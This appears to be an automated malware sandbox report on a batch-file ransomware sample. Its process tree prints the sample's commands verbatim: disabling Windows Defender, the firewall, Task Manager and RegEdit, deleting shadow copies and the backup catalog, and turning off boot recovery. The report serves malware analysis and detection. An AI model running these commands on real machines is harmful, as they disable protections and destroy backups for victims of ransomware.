Overview

overview

10

Static

static

1

bat.bat

windows10-2004-x64

10

bat.bat

windows11-ltsc_2024-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/09/2026, 08:55

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bat.bat
  • Size 3KB
  • Sample260930-kvsbpsthkf
  • SHA256 e9b1b68f043b5f61d7775c7de9405a133ca205156a1d8b1169e70ecacf97c3b5
  • MD5 SHA1 SHA512 TLSH
Score
10/10
defense_evasiondiscoveryevasionexecutionimpactpersistenceprivilege_escalationransomwarespywarestealertrojan

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Disables RegEdit via registry modification 1 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    defense_evasion
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Drops file in System32 directory 44 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies registry class 64 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Runs net.exe
  • Suspicious use of AdjustPrivilegeToken 54 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\bat.bat"
    1⤵
    • Executes a command shell one-liner
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4528
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4704
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:552
      • C:\Windows\system32\notepad.exe
        notepad.exe "C:\Users\Public\Desktop\NOTICE.txt"
        2⤵
        • Opens file in notepad (likely ransom note)
        PID:5044
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers" /v DefaultLevel /t REG_DWORD /d 0 /f
        2⤵
          PID:4544
        • C:\Windows\system32\reg.exe
          reg add "HKCU\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers" /v DefaultLevel /t REG_DWORD /d 0 /f
          2⤵
            PID:4128
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
            2⤵
            • Modifies Windows Defender DisableAntiSpyware settings
            PID:2024
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
            2⤵
            • Modifies Windows Defender Real-time Protection settings
            PID:2360
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
            2⤵
            • Modifies Windows Defender Real-time Protection settings
            PID:4964
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
            2⤵
            • Modifies Windows Defender Real-time Protection settings
            PID:3044
          • C:\Windows\system32\net.exe
            net stop WinDefend /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4712
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop WinDefend /y
              3⤵
                PID:3932
            • C:\Windows\system32\net.exe
              net stop wscsvc /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3948
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop wscsvc /y
                3⤵
                  PID:2372
              • C:\Windows\system32\netsh.exe
                netsh advfirewall set allprofiles state off
                2⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:1988
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
                2⤵
                  PID:1924
                • C:\Windows\system32\reg.exe
                  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
                  2⤵
                    PID:3376
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
                    2⤵
                    • Disables RegEdit via registry modification
                    PID:1560
                  • C:\Windows\system32\bcdedit.exe
                    bcdedit /set {default} bootstatuspolicy ignoreallfailures
                    2⤵
                    • Modifies boot configuration data using bcdedit
                    PID:4928
                  • C:\Windows\system32\bcdedit.exe
                    bcdedit /set {default} recoveryenabled no
                    2⤵
                    • Modifies boot configuration data using bcdedit
                    PID:4736
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin delete shadows /all /quiet
                    2⤵
                    • Interacts with shadow copies
                    PID:2660
                  • C:\Windows\System32\Wbem\WMIC.exe
                    wmic shadowcopy delete
                    2⤵
                    • Reads the TCP/IP host and domain name from the registry
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4612
                  • C:\Windows\system32\wbadmin.exe
                    wbadmin delete catalog -quiet
                    2⤵
                    • Deletes backup catalog
                    PID:2208
                  • C:\Windows\system32\attrib.exe
                    attrib -h -r -s C:\Windows\System32\config\*
                    2⤵
                    • Drops file in System32 directory
                    • Views/modifies file attributes
                    PID:728
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1748
                • C:\Windows\system32\wbengine.exe
                  "C:\Windows\system32\wbengine.exe"
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3816
                • C:\Windows\System32\vdsldr.exe
                  C:\Windows\System32\vdsldr.exe -Embedding
                  1⤵
                    PID:1736
                  • C:\Windows\System32\vds.exe
                    C:\Windows\System32\vds.exe
                    1⤵
                    • Checks SCSI registry key(s)
                    PID:3020
                  • C:\Windows\system32\rundll32.exe
                    "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy
                    1⤵
                      PID:3064
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k UnistackSvcGroup
                      1⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:364
                    • C:\Windows\system32\rundll32.exe
                      "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy
                      1⤵
                        PID:3224
                      • C:\Windows\system32\rundll32.exe
                        "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.Windows.Search_cw5n1h2txyewy
                        1⤵
                          PID:1820
                        • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                          "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                          1⤵
                          • Enumerates system info in registry
                          • Modifies registry class
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SetWindowsHookEx
                          PID:1580
                        • C:\Windows\system32\rundll32.exe
                          "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
                          1⤵
                            PID:4988

                          Network

                                MITRE ATT&CK Enterprise v16

                                Reconnaissance

                                Resource Development

                                Initial Access

                                Execution

                                Command and Scripting Interpreter

                                2
                                T1059

                                Windows Command Shell

                                1
                                T1059.003

                                Windows Management Instrumentation

                                1
                                T1047

                                Persistence

                                Create or Modify System Process

                                3
                                T1543

                                Windows Service

                                3
                                T1543.003

                                Event Triggered Execution

                                1
                                T1546

                                Netsh Helper DLL

                                1
                                T1546.007

                                Privilege Escalation

                                Create or Modify System Process

                                3
                                T1543

                                Windows Service

                                3
                                T1543.003

                                Event Triggered Execution

                                1
                                T1546

                                Netsh Helper DLL

                                1
                                T1546.007

                                Defense Evasion

                                Direct Volume Access

                                1
                                T1006

                                Hide Artifacts

                                1
                                T1564

                                Hidden Files and Directories

                                1
                                T1564.001

                                Impair Defenses

                                3
                                T1562

                                Disable or Modify System Firewall

                                1
                                T1562.004

                                Disable or Modify Tools

                                2
                                T1562.001

                                Indicator Removal

                                3
                                T1070

                                File Deletion

                                3
                                T1070.004

                                Modify Registry

                                2
                                T1112

                                Credential Access

                                Credentials from Password Stores

                                1
                                T1555

                                Credentials from Web Browsers

                                1
                                T1555.003

                                Unsecured Credentials

                                1
                                T1552

                                Credentials In Files

                                1
                                T1552.001

                                Discovery

                                Peripheral Device Discovery

                                1
                                T1120

                                Query Registry

                                3
                                T1012

                                System Information Discovery

                                2
                                T1082

                                System Network Configuration Discovery

                                1
                                T1016

                                Lateral Movement

                                Collection

                                Data from Local System

                                1
                                T1005

                                Command and Control

                                Exfiltration

                                Impact

                                Inhibit System Recovery

                                4
                                T1490

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                microsoft.windows[1].xml
                                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\82YQILPO\microsoft.windows[1].xml
                                • Size 97B
                                • SHA256 9ef7115c386c0ac9f0312f2f073e8038b2d97ec28548d6126e59e9c0dfe81655
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                MSEdge
                                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\MSEdge
                                • Size 36KB
                                • SHA256 136808af50ee73df9befd76f7aca21765782565b0095227c5a287f3be0b5ef3c
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                Microsoft_AutoGenerated_{2F519BF2-C697-59F8-8F6A-1E19509CE66B}
                                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_AutoGenerated_{2F519BF2-C697-59F8-8F6A-1E19509CE66B}
                                • Size 36KB
                                • SHA256 813c66ce7dec4cff9c55fb6f809eab909421e37f69ff30e4acaa502365a32bd1
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}_comexp_msc
                                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}_comexp_msc
                                • Size 36KB
                                • SHA256 fdf01d2265452465fcbed01f1fdd994d8cbb41a40bbb1988166604c5450ead47
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                0.0.filtertrie.intermediate.txt
                                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{ed9dc2d1-89f1-49c5-975d-5572f54d8507}\0.0.filtertrie.intermediate.txt
                                • Size 30KB
                                • SHA256 09a6e855c8daae9ef4416606e88208aeb81935c1fad91fe7072f18ca1649e891
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                0.1.filtertrie.intermediate.txt
                                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{ed9dc2d1-89f1-49c5-975d-5572f54d8507}\0.1.filtertrie.intermediate.txt
                                • Size 5B
                                • SHA256 8e1e6a3d56796a245d0c7b0849548932fee803bbdb03f6e289495830e017f14c
                                • MD5 SHA1 SHA512
                                Submit Download

                                0.2.filtertrie.intermediate.txt
                                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{ed9dc2d1-89f1-49c5-975d-5572f54d8507}\0.2.filtertrie.intermediate.txt
                                • Size 5B
                                • SHA256 d65b6a3bf11a27a1ced1f7e98082246e40cf01289fd47fe4a5ed46c221f2f73f
                                • MD5 SHA1 SHA512
                                Submit Download

                                Apps.ft
                                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{ed9dc2d1-89f1-49c5-975d-5572f54d8507}\Apps.ft
                                • Size 40KB
                                • SHA256 bbf854024dc1b89650cff06137e5b7af1e20f9bd8bf203ea9e2799086de5b002
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                Apps.index
                                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{ed9dc2d1-89f1-49c5-975d-5572f54d8507}\Apps.index
                                • Size 1.0MB
                                • SHA256 af65f52520484ee800a033c19a90d0efec0e6aa82a7de8e819be199e6aca0100
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                apps.csg
                                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{ccbcf851-95a6-49c2-aa04-d79b88923b36}\apps.csg
                                • Size 444B
                                • SHA256 0b0af873ef116a51fc2a2329dc9102817ce923f32a989c7a6846b4329abd62cd
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                apps.schema
                                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{ccbcf851-95a6-49c2-aa04-d79b88923b36}\apps.schema
                                • Size 150B
                                • SHA256 5af0fc2a0b5ccecdc04e54b3c60f28e3ff5c7d4e1809c6d7c8469f0567c090bb
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                appsconversions.txt
                                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{ccbcf851-95a6-49c2-aa04-d79b88923b36}\appsconversions.txt
                                • Size 1.4MB
                                • SHA256 8b9fae5ea9dd21c2313022e151788b276d995c8b9115ee46832b804a914e6307
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                appsglobals.txt
                                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{ccbcf851-95a6-49c2-aa04-d79b88923b36}\appsglobals.txt
                                • Size 343KB
                                • SHA256 541dfa71a3728424420f082023346365cca013af03629fd243b11d8762e3403e
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                appssynonyms.txt
                                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{ccbcf851-95a6-49c2-aa04-d79b88923b36}\appssynonyms.txt
                                • Size 237KB
                                • SHA256 2aa90f795a65f0e636154def7d84094af2e9a5f71b1b73f168a6ea23e74476d1
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                AppCache134352321625279062.txt
                                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache134352321625279062.txt
                                • Size 83KB
                                • SHA256 f3cd945fe161f3111e574ea2af980b3a4a9b775c5ca4c8b0118ff2ae930cd112
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                IDX_CONTENT_TASKBARHEADLINES.json
                                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\IDX_CONTENT_TASKBARHEADLINES.json
                                • Size 317KB
                                • SHA256 d73fd144be687f8da445d36bf54c5c0eb90082a1a99acb3a33126acd9ef341d3
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                CortanaUnifiedTileModelCache.dat
                                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\TempState\CortanaUnifiedTileModelCache.dat
                                • Size 18KB
                                • SHA256 d0c77fbe33962c5f5322f1d2f242e71784aa90db9387379a676246f73b54a244
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                CortanaUnifiedTileModelCache.dat
                                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\TempState\CortanaUnifiedTileModelCache.dat
                                • Size 17KB
                                • SHA256 6480cc6fe661b33561fd6aa93284fadc2b0ada8d59e2bcb0ad8b3d0ff0d8aae0
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                NOTICE.txt
                                • Path C:\Users\Public\Desktop\NOTICE.txt
                                • Size 84B
                                • SHA256 cc3ab5e396a7004b96d28b691949d15d277e0ebe24919381bc93a93e9c328aff
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                memory/364-51-0x0000025F25E50000-0x0000025F25E51000-memory.dmp
                                Download

                                memory/364-56-0x0000025F25E50000-0x0000025F25E51000-memory.dmp
                                Download

                                memory/364-59-0x0000025F25E50000-0x0000025F25E51000-memory.dmp
                                Download

                                memory/364-60-0x0000025F25E50000-0x0000025F25E51000-memory.dmp
                                Download

                                memory/364-62-0x0000025F25E50000-0x0000025F25E51000-memory.dmp
                                Download

                                memory/364-61-0x0000025F25E50000-0x0000025F25E51000-memory.dmp
                                Download

                                memory/364-63-0x0000025F25E50000-0x0000025F25E51000-memory.dmp
                                Download

                                memory/364-64-0x0000025F25E50000-0x0000025F25E51000-memory.dmp
                                Download

                                memory/364-65-0x0000025F25E60000-0x0000025F25E61000-memory.dmp
                                Download

                                memory/364-66-0x0000025F25E60000-0x0000025F25E61000-memory.dmp
                                Download

                                memory/364-67-0x0000025F25F70000-0x0000025F25F71000-memory.dmp
                                Download

                                memory/364-68-0x0000025F25EC0000-0x0000025F25EC1000-memory.dmp
                                Download

                                memory/364-69-0x0000025F25EC0000-0x0000025F25EC1000-memory.dmp
                                Download

                                memory/364-20-0x0000025F15B40000-0x0000025F15B50000-memory.dmp
                                Download

                                memory/364-4-0x0000025F15A40000-0x0000025F15A50000-memory.dmp
                                Download

                                memory/364-41-0x0000025F25E20000-0x0000025F25E21000-memory.dmp
                                Download

                                memory/364-57-0x0000025F25E50000-0x0000025F25E51000-memory.dmp
                                Download

                                memory/364-58-0x0000025F25E50000-0x0000025F25E51000-memory.dmp
                                Download

                                memory/364-55-0x0000025F25E50000-0x0000025F25E51000-memory.dmp
                                Download

                                memory/364-54-0x0000025F25E50000-0x0000025F25E51000-memory.dmp
                                Download

                                memory/364-53-0x0000025F25E50000-0x0000025F25E51000-memory.dmp
                                Download

                                memory/364-52-0x0000025F25E50000-0x0000025F25E51000-memory.dmp
                                Download

                                memory/364-50-0x0000025F25E50000-0x0000025F25E51000-memory.dmp
                                Download

                                memory/364-49-0x0000025F25E50000-0x0000025F25E51000-memory.dmp
                                Download

                                memory/364-48-0x0000025F25E50000-0x0000025F25E51000-memory.dmp
                                Download

                                memory/364-47-0x0000025F25E50000-0x0000025F25E51000-memory.dmp
                                Download

                                memory/364-46-0x0000025F25E30000-0x0000025F25E31000-memory.dmp
                                Download

                                memory/364-45-0x0000025F25E30000-0x0000025F25E31000-memory.dmp
                                Download

                                memory/364-39-0x0000025F153F0000-0x0000025F153F1000-memory.dmp
                                Download

                                memory/364-43-0x0000025F25E20000-0x0000025F25E21000-memory.dmp
                                Download

                                memory/364-44-0x0000025F25E30000-0x0000025F25E31000-memory.dmp
                                Download

                                memory/1580-87-0x000002B0CEE00000-0x000002B0CEE20000-memory.dmp
                                Download

                                memory/1580-111-0x000002B0CF190000-0x000002B0CF1B0000-memory.dmp
                                Download

                                memory/1580-78-0x000002B0CEE40000-0x000002B0CEE60000-memory.dmp
                                Download